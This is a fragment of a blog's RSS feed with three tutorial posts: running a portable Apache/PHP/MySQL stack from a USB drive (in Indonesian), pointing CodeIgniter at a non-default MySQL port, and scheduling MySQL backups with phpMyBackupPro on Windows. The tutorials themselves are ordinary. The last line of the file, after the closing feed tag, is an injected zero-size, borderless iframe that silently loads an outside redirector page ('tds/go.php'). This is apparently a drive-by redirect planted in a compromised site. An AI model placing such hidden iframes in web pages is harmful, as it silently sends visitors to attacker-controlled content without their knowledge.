<p>Salah satu yang dapat digunakan adalah USB Webserver (http://www.usberbserver.nl).&#160; Aplikasi ini berisi Apache, PHP, dan MySQL yang telah dikonfigurasi dan siap dijalankan sehingga kita tinggal mengisi aplikasi web yang akan kita demokan ke client.</p>
<p> <span id="more-215"></span>Instalasi USB Webserver cukup mudah, tinggal extract file setupnya aja ke drive USB yang mau dibawah.&#160; Setelah disetup dan diextrak, akan terdapat beberap direktori dibawah direktori utama misalnya E:\UsbWebserver, dimana E: adalah USB drive.
</p>
<p>Direktori yang paling penting adalah D:\UsbWebserver\Root, dimana kita akan menyimpan aplikasi&#160; web yang akan dijalankan.</p>
<p>Setelah dijalankan USB Webserver akan siap melayani akses web server pada port 8080 (dapat diganti melalui Settings Apache). Jadi misalnya aplikasi kita disimpan pada direktori C:\UsbWebserver\Root\demo maka aplikasi tersebut tinggal diakses melalui web browser pada alamat http://127.0.0.1:8080/demo.</p>
<p>Ketika dijalankan, maka terlihat halaman untuk setingan utama USB Webserver yaitu bahasa, hide at start, dan open localhost at start untuk menjalankan browser secara otomatis saat aplikasi dijalankan:</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/usbweb-home.png"><img class="alignnone size-full wp-image-51" title="usbweb-home" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/usbweb-home.png" width="450" height="308" /></a></p>
<p>Pada halaman tsb kita dapat mengontrol server MySQL, APache, dan SMTP yaitu dengan menklik tombol-tombol yang terdapat pada bagian atas halaman tsb. Tanda kotak artinya server sedang berjalan, dan untuk mematikannya klik tombol tsb sehingga berubah menjadi tombol segitiga yang artinya server sedang tidak berjalan.</p>
<p>Klik tab Smtp untuk menampilkan settingan server SMTP yaitu host, port, dan email.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/smtp.png"><img class="alignnone size-full wp-image-52" title="smtp" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/smtp.png" width="450" height="249" /></a></p>
<p>Klik tab Apache untuk melihat settingan server Apache, yaitu port webserver yang default nya 8080, dan jenis error yang akan ditampilkan pada log, defaultnya semua error.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/apache.png"><img class="alignnone size-full wp-image-53" title="apache" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/apache.png" width="450" height="249" /></a></p>
<p>Klik pada tab MySQL untuk melihat settingan MySQL yaitu port yang defaultnya&#160; 3307 dan password root MySQL yaitu usbw. APlikasi yang hendak kita jalankan perlu menyesuaikan dengan setting yang didefinisikan disini.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/mysql.png"><img class="alignnone size-full wp-image-54" title="mysql" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/mysql.png" width="450" height="249" /></a></p>
<p>Untuk menyimpan settingan yang sudah ditentukan klik tombol &quot;Opslaan&quot; &#8230; gak tau artinya apa soalnya bhs Belanda, tapi kira-kira kayak OK gitu.. Atau klik tombol &quot;Annuleren&quot; untuk cancel.</p>
<p>Untuk membuka log file, config file, phpmyadmin, dll dapat digunakan tombol segitiga dibagian atas tengah window.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/09/setting.png"><img class="alignnone size-full wp-image-55" title="setting" alt="" src="http://akhdaniel.files.wordpress.com/2008/09/setting.png" width="450" height="217" /></a></p>
<p>Menu yang muncul dapat digunakan untuk:</p>
<ul>
<li>membuka halaman setting spt diatas, Settings-&gt;Usb Webserver </li>
<li>membuka config file apache httpd.conf, Settings-&gt;Apache </li>
<li>membuka config file PHP.INI, Settings-&gt;PHP </li>
<li>membuka config file phpmyadmin, Settings-&gt;Phpmyadmin </li>
<li>membuka web browser pada alamat default, Localhost </li>
<li>membuka folder root directory, Root Directory </li>
<li>membuka web browser PhpMyAdmin </li>
<li>membuka web browser yang berisi halaman informasi PHP, Php Info </li>
<li>membuka halaman About </li>
<li>dan menutup aplikasi </li>
</ul>
<p><strong>Beberapa Catatan</strong></p>
<ul>
<li>settingan port mysql defaultnya 3307, sehingga aplikasi anda perlu menyesuaikan terutama pada function db_connect mysql, atau ganti settingan ini menjadi default MySQL yaitu 3306. </li>
<li>settingan port apache defaultnya 8080, sehingga pemanggilan aplikasi harus menyertakan nomor port ini, misalnya http://localhost:8080, atau ganti settingan ini menjadi default Apache yaitu 80. </li>
<li>settingan PHP.INI, allow_call_time_pass_reference defaultnya Off, sehingga aplikasi PHP perlu menyesuaikan yaitu tidak bisa mengirimkan parameter function langsung menggunakan variabel tetapi harus menggunakan refference variable tersebut, atau ganti settingan ini menjadi On (tidak direkomendasikan oleh PHP/Zend karena option ini bakalan dimatikan ) </li>
</ul>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/how-to-change-upload-file-size-on-a-windows-localhost/" rel="bookmark">How to change upload file size on a Windows localhost</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/" rel="bookmark">Restore MySQL database, stored procedure missing ?</a></li><li><a href="http://www.dijexi.com/2009/08/how-to-debug-php-program-remotely-using-phpdesigner-2008/" rel="bookmark">How to Debug PHP Program Remotely using phpDesigner 2008</a></li><li><a href="http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/" rel="bookmark">MySQL Transpose Row Into Column</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fportable-apache-mysql-php%2F&amp;linkname=Portable%20Apache%2C%20MySQL%2C%20PHP"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/portable-apache-mysql-php/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CodeIgniter: koneksi ke port MySQL tertentu selain 3306</title>
		<link>http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/</link>
		<comments>http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:05:05 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database driver]]></category>
		<category><![CDATA[database drivers]]></category>
		<category><![CDATA[driver database]]></category>
		<category><![CDATA[file]]></category>
		<category><![CDATA[file ini]]></category>
		<category><![CDATA[koneksi]]></category>
		<category><![CDATA[port]]></category>
		<category><![CDATA[string]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/</guid>
		<description><![CDATA[Secara default, database driver MySQL CodeIgniter konek ke port default MySQL yaitu 3306. Pada kondisi dimana port MySQL bukan 3306 misalnya 3307, CodeIgniter tidak punya option untuk menentukan pada port berapa MySQL berjalan. Solusi untuk hal ini dapat dilakukan dengan beberapa cara: mengedit file driver database CodeIgniter: system/database/drivers/mysqli/mysqli_driver.php. Pada file ini dapat ditentukan port MySQL [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Secara default, database driver MySQL CodeIgniter konek ke port default MySQL yaitu 3306. Pada kondisi dimana port MySQL bukan 3306 misalnya 3307, CodeIgniter tidak punya option untuk menentukan pada port berapa MySQL berjalan.</p>
<p>Solusi untuk hal ini dapat dilakukan dengan beberapa cara:</p>
<ol>
<li>mengedit file driver database CodeIgniter: <strong>system/database/drivers/mysqli/mysqli_driver.php.</strong> Pada file ini dapat ditentukan port MySQL pada function ‘db_connect’ yaitu dengan menambahkan parameter $port pada function tsb: <strong>       <br />mysqli_connect</strong> ( [string $host [, string $username [, string $passwd [, string $dbname [, int $port [, string $socket]]]]]] ) </li>
<li>mengedit file PHP.INI, pada bagian&#160; mysql.default_port, ganti dari 3306 menjadi 3307 </li>
<li>jika tidak punya akses ke file PHP.INI, bisa juga dicoba dengan mengedit file <strong>config/database.php</strong> nya CodeIgniter yaitu pada baris:
<div class="codeblock"><code><span style="color: #0000bb">$db[</span><span style="color: #dd0000">'default'</span><span style="color: #0000bb">][</span><span style="color: #dd0000">'hostname'</span><span style="color: #0000bb">] </span><span style="color: #007700">= </span><span style="color: #dd0000">&quot;mysqlhost.yourdomain.com:3307&quot;</span><span style="color: #007700">;</span></code></div>
</li>
</ol>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/portable-apache-mysql-php/" rel="bookmark">Portable Apache, MySQL, PHP</a></li><li><a href="http://www.dijexi.com/2009/05/sql-express-meng-enable-koneksi-remote-melalui-tcpip/" rel="bookmark">SQL Express: meng-enable koneksi remote melalui TCP/IP</a></li><li><a href="http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/" rel="bookmark">Perl connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/07/codeigniter-tutorial-creating-accounting-application-part-1-setting-up-the-environment/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 1 Setting Up the Environment</a></li><li><a href="http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/" rel="bookmark">PHP Connection to PostgreSQL</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fcodeigniter-konek-ke-port-mysql-tertentu-selain-3306%2F&amp;linkname=CodeIgniter%3A%20koneksi%20ke%20port%20MySQL%20tertentu%20selain%203306"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MySQL Backup with phpMyBackupPro</title>
		<link>http://www.dijexi.com/2009/06/mysql-backup-with-phpmybackuppro/</link>
		<comments>http://www.dijexi.com/2009/06/mysql-backup-with-phpmybackuppro/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 09:44:35 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[apache web server]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[browser ie]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database info]]></category>
		<category><![CDATA[directory]]></category>
		<category><![CDATA[file]]></category>
		<category><![CDATA[manual backup]]></category>
		<category><![CDATA[mysql password]]></category>
		<category><![CDATA[periodic]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[Select]]></category>
		<category><![CDATA[sql command]]></category>
		<category><![CDATA[sql data]]></category>
		<category><![CDATA[table]]></category>
		<category><![CDATA[task]]></category>
		<category><![CDATA[xampp]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/mysql-backup-with-phpmybackuppro/</guid>
		<description><![CDATA[phpMyBackupPro is a tool created using PHP programming language that can be used to perform backup and restore on MySQL database server. In this article we are going to learn how to install and configure this tool, perform manual backup and then perform restore the previously backed up database. We will also learn how to [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>phpMyBackupPro is a tool created using PHP programming language that can be used to perform backup and restore on MySQL database server. In this article we are going to learn how to install and configure this tool, perform manual backup and then perform restore the previously backed up database. We will also learn how to setup an automatic periodic backup using the same tool.</p>
<h2>Installation</h2>
<p>Installation of this tool is simple. Just download the newest version from <a title="http://www.phpmybackuppro.net/download.php" href="http://www.phpmybackuppro.net/download.php">http://www.phpmybackuppro.net/download.php</a>. </p>
<p>After downloading, extract the zip file to a directory on your PHP and Apache web server accessible from browser, ie the Document Root, for example C:\XAMPP\HTDOCS. Then you will get a new folder under it, for example C:\XAMPP\HTDOCS\phpMyBackupPro.</p>
<p>That’s it! Now go to your web browser and point the URL of phpMyBackupPro, for example <a href="http://localhost/phpMyBackupPro">http://localhost/phpMyBackupPro</a>.</p>
<p> <span id="more-192"></span><br />
<h2>Configuration</h2>
<p>After successfully copying the files, and pointing your browser to the URL , you will get a page similar to the following:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image19.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Start Page of phpMyBackupPro" border="0" alt="Start Page of phpMyBackupPro" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb19.png" width="504" height="251" /></a> </p>
<p>As you can see, there are several tabs that we need to explore:</p>
<ol>
<li>Start, the current page, showing the system information </li>
<li>Configuration, the place to do some system configuration </li>
<li>Import, to import recently backed up databases </li>
<li>Backup, to do backing up of databases </li>
<li>Scheduled backup, to create a script to do an automatic backup regularly </li>
<li>Database info, showing detailed database information </li>
<li>SQL query, to do arbitrary SQL command on the server </li>
</ol>
<p>To configuring the system, click on the Configuration tab. You will see a page like the following:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image20.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb20.png" width="504" height="251" /></a> </p>
<p>On that page, you need to adjust the configuration according to your system. That will be:</p>
<ol>
<li>Site name: the name of your site or application to backup </li>
<li>Language: english </li>
<li>SQL Data (<strong>mandatory settings</strong>)
<ol>
<li>MySQL hostname: the host name or IP address of your MySQL server </li>
<li>MySQL username: the user name to connect to your MySQL server </li>
<li>MySQL password: the password for the user name to connect to your MySQL server </li>
<li>only this database: enter the name of the database if you need to backup only that database, otherwise leave it blank so that phpMyBackupPro can backup all of databases on the server </li>
</ol>
</li>
<li>FTP Settings (optional), set it up only if you want to save (upload) the backup file to an FTP server
<ol>
<li>Save backup per FTP server ? check on it if you want to save (upload) the backup file to an FTP server </li>
<li>FTP server, fill with the hostname or IP Address of the FTP server </li>
<li>FTP username: the username to connect to the FTP server </li>
<li>FTP password: the password of the username to connect to the FTP server </li>
<li>FTP path: the location of the backup file on the FTP server </li>
<li>User passive FTP: check it if you are using passive FTP server </li>
<li>FTP Port: the port number of the FTP server, or leave it to 21 for the default number </li>
<li>delete files on FTP server: </li>
</ol>
</li>
<li>Backup per Email, set it up if you want to send the backup file to an email address
<ol>
<li>use email: check it if you want to send the backup file to an email address </li>
<li>email address: enter the email address to receive the backup file </li>
</ol>
</li>
</ol>
</p>
<p>Click on the Save button when you are done.</p>
<p>That’s all for the basic configuration. Your backup system can now be operated to do the backup and restore process from the same URL address. You may check also the Extended Configuration and the System Variables section.</p>
<h2>Performing Manual Backup</h2>
<p>After successfully configure your system, now you can do the backup process. Click on the Backup tab, then a page like the following will be shown:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image21.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb21.png" width="504" height="269" /></a> </p>
<p>You need to do the following steps to backup database(s):</p>
<ol>
<li>Select the database(s) to backup, click on the databases list; to select more than one database, use CTRL-click (press CTRL button on your keyboard and then click your mouse). You may click “select all” to select all of your database listed. </li>
<li>double check the options to
<ol>
<li>“export tables”, whether you want to backup the table definition or not </li>
<li>“export data”, whether you want to backup the table data or not </li>
<li>“add drop table”, whether you want to add the drop table statement or not, before the create table statement </li>
<li>compression, select one of none, gzip, or zip </li>
</ol>
</li>
<li>Select directories to backup to FTP server, select the directory on your FTP server (if you set it up before on the configuration step), or you can add manual FTP directories on the box right to the directory list. You may also check on the “Packed in One ZIP file”. </li>
<li>Click Backup button when you are done. </li>
</ol>
<p>That’s all. You backup is now complete.</p>
<h2>Performing Restore</h2>
<p>To do the restore of a previously backed up database, click on the Import tab. A page similar to the following will show:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image22.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb22.png" width="504" height="273" /></a> </p>
<p>On that page you will see a list several files grouped by the database name corresponding to the backup process. On that list of files, there are some information like the file name, date time the backup is created, and the file size.</p>
<p>To restore a database, simply click “import” link on the file list that correspond to the database to be restored and the date the backup was performed.</p>
<p>There are other options that you can do:</p>
<p>The backup information, clicking the “info” link, will show the following information:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image4.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb4.png" width="404" height="291" /></a> </p>
</p>
<p>The SQL statement view, clicking the “view” link, will show the following information:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image23.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb23.png" width="502" height="392" /></a> </p>
<p>To download the backup file, click on the “download” link.</p>
<p>To delete the backup file, click on the “delete” link.</p>
<p align="left"><script type="text/javascript"><!--
google_ad_client = "pub-7773800616131770";
/* horizontal */
google_ad_slot = "1931057994";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p align="left">&#160;</p>
<h2>Performing Scheduled Backup</h2>
<p>To do the backup periodically, go to the Scheduled Backup tab, you will see a page similar to the following:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image24.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb24.png" width="504" height="352" /></a> </p>
<p>You need to do the following steps to setup a periodic backup database(s):</p>
<ol>
<li>Select the backup period: for example: each time the script is called, every 1 hour, every 6 hours, etc. </li>
<li>Select directory where the PHP script file generated will be placed. Leave it to ./ to place the file on the same directory to phpMyBackupPro directory. (You may need to click on “Update directory list”&#160; to refresh the directory listing, in case you create a new directory) </li>
<li>Select the database(s) to backup, click on the databases list; to select more than one database, use CTRL-click (press CTRL button on your keyboard and then click your mouse). You may click “select all” to select all of your database listed. </li>
<li>double check the options to
<ol>
<li>“export tables”, whether you want to backup the table definition or not </li>
<li>“export data”, whether you want to backup the table data or not </li>
<li>“add drop table”, whether you want to add the drop table statement or not, before the create table statement </li>
<li>compression, select one of none, gzip, or zip </li>
</ol>
</li>
<li>Select directories to backup to FTP server, select the directory on your FTP server (if you set it up before on the configuration step), or you can add manual FTP directories on the box right to the directory list. You may also check on the “Packed in One ZIP file”. </li>
<li>Click Show Script button when you are done. </li>
</ol>
<p>The following page will appear:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image25.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb25.png" width="504" height="273" /></a> </p>
<p>The page shows a PHP script to be run to do the backup. Enter the file name for the script, for example script.php, then click Save data. The file will be created on the directory specified at the previuos step.</p>
<p>After it is generated, you can run the script by the following ways:</p>
<ol>
<li>run it using cron tabs (on Linux), or using Task Scheduler (on Windows, see below) </li>
<li>run it using command line </li>
</ol>
<p>That’s all. You backup script is now complete. To restore the backup, do the same way as restoring backup created by manual backup.</p>
<h2>Setting up Windows Task Scheduler</h2>
<h3>Add New Scheduled Task</h3>
<p>If you need to run the backup script periodically using the Windows Task Scheduler, do the following steps:</p>
<p>Click on Start – Settings &#8211; Control Panel – Scheduled Tasks</p>
<p>Double click Add Scheduled Task</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image8.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb8.png" width="244" height="181" /></a> </p>
<p>Click Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image9.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb9.png" width="244" height="181" /></a> </p>
<p>Click Browse… and locate the PHP.EXE executable file, for example C:\XAMPP\PHP\PHP.EXE.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image10.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb10.png" width="244" height="181" /></a> </p>
<p>Select the execution period of Daily, Weekly, Monthly, etc depending on your backup need. Click Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image11.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb11.png" width="244" height="181" /></a> </p>
<p>Select the start time and Date of the task. Also select the daily operation for the task, eg Every Day, Weekdays only, or Every x days. Click Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image12.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb12.png" width="244" height="181" /></a> </p>
<p>Next, Enter the username and password that will run the program as. Click Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb13.png" width="244" height="181" /></a> </p>
<h3>Refine the Scheduled Task</h3>
<p>On the dialog, the task periodic schedule is shown, you can refine it by checking “Open advanced properties for this task when I click Finish”. Then click Finish.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image14.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb14.png" width="410" height="459" /></a> </p>
<p>You need to change the Run field from</p>
<blockquote><p>c:\xampp\php\php.exe</p>
</blockquote>
<p>to</p>
<blockquote><p>C:\xampp\php\php.exe c:\xampp\htdocs\phpMyBackupPro\script.php db1,db2</p>
</blockquote>
<p>where db1, db2, etc is the database name to backup.</p>
<p>You may need to put a double quote on the command line parameter if your script resides on a folder that contains spaces, for example:</p>
<blockquote><p>C:\xampp\php\php.exe&#160; “C:\Documents and Settings\Toshiba\My Documents\backup\script.php” db1,db2</p>
</blockquote>
<p>This will run php program with an argument, which is our backup script created before.</p>
<p>If you need to adjust the period, you can click on the Schedule tab.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image15.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb15.png" width="410" height="459" /></a> </p>
<p>and then click Advanced button</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image16.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb16.png" width="372" height="304" /></a> </p>
<p>On the above example, we check on Repeat task, which means we will run the backup program every 6 hours for 24 hours a day, starting from 29 June 2009. Click OK.</p>
<p>Our scheduled task will be listed at the Scheduled Tasks window as follow:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image26.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb26.png" width="504" height="261" /></a> </p>
<h3>Modify the PHP Script</h3>
<p>The final step is to modify the script.php so that the included path is correct. The original script.php file is for example as follow:</p>
<pre style="width: 500px; height: 252px" class="csharpcode">&lt;?php
<span class="rem">// This code was created by phpMyBackupPro v.2.1 </span>
<span class="rem">// http://www.phpMyBackupPro.net</span>
$_POST[<span class="str">'db'</span>]=array(<span class="str">&quot;cibpdb&quot;</span>, <span class="str">&quot;mysql&quot;</span>, );
$_POST[<span class="str">'tables'</span>]=<span class="str">&quot;on&quot;</span>;
$_POST[<span class="str">'data'</span>]=<span class="str">&quot;on&quot;</span>;
$_POST[<span class="str">'drop'</span>]=<span class="str">&quot;on&quot;</span>;
$_POST[<span class="str">'zip'</span>]=<span class="str">&quot;zip&quot;</span>;
$period=(3600*24)/2;
$security_key=<span class="str">&quot;e24c0df313d1cbc9a1e7258811ba5342&quot;</span>;
<span class="rem">// This is the relative path to the phpMyBackupPro v.2.1 directory</span>
@chdir(<span class="str">&quot;../backup/&quot;</span>);
@include(<span class="str">&quot;backup.php&quot;</span>);
?&gt;</pre>
<p>Next, modify line contains @chdir command to point to the correct absolute folder where the phpMyBackupPro folder (the file named backup.php) resides, for example:</p>
<pre style="width: 500px; height: 252px" class="csharpcode">&lt;?php
<span class="rem">// This code was created by phpMyBackupPro v.2.1 </span>
<span class="rem">// http://www.phpMyBackupPro.net</span>
$_POST[<span class="str">'db'</span>]=array(<span class="str">&quot;cibpdb&quot;</span>, <span class="str">&quot;mysql&quot;</span>, );
$_POST[<span class="str">'tables'</span>]=<span class="str">&quot;on&quot;</span>;
$_POST[<span class="str">'data'</span>]=<span class="str">&quot;on&quot;</span>;
$_POST[<span class="str">'drop'</span>]=<span class="str">&quot;on&quot;</span>;
$_POST[<span class="str">'zip'</span>]=<span class="str">&quot;zip&quot;</span>;
$period=(3600*24)/2;
$security_key=<span class="str">&quot;e24c0df313d1cbc9a1e7258811ba5342&quot;</span>;
<span class="rem">// This is the relative path to the phpMyBackupPro v.2.1 directory</span>
@chdir(<span class="str">&quot;C:/xampp/htdocs/phpMyBackupPro/&quot;</span>);
@include(<span class="str">&quot;backup.php&quot;</span>);
?&gt;</pre>
<style type="text/css">
<p>.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>&#160;</p>
<h3>Run the Scheduled Task</h3>
<p>When you are done, just wait until the schedule for the task to run, or you can right-click on it and click Run to run it now.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image18.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb18.png" width="404" height="324" /></a></p>
<p>Backup file created by this periodic backup task can be restored as usual like on the Restoring step above.</p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/" rel="bookmark">Restore MySQL database, stored procedure missing ?</a></li><li><a href="http://www.dijexi.com/2008/04/me-restore-database-postgresql-dari-windows-ke-linux/" rel="bookmark">Me-Restore database PostgreSQL dari Windows ke Linux</a></li><li><a href="http://www.dijexi.com/2009/07/mysql-backup-to-email/" rel="bookmark">MySQL Backup to Email</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/" rel="bookmark">MySQL Transpose Row Into Column</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fmysql-backup-with-phpmybackuppro%2F&amp;linkname=MySQL%20Backup%20with%20phpMyBackupPro"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/mysql-backup-with-phpmybackuppro/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
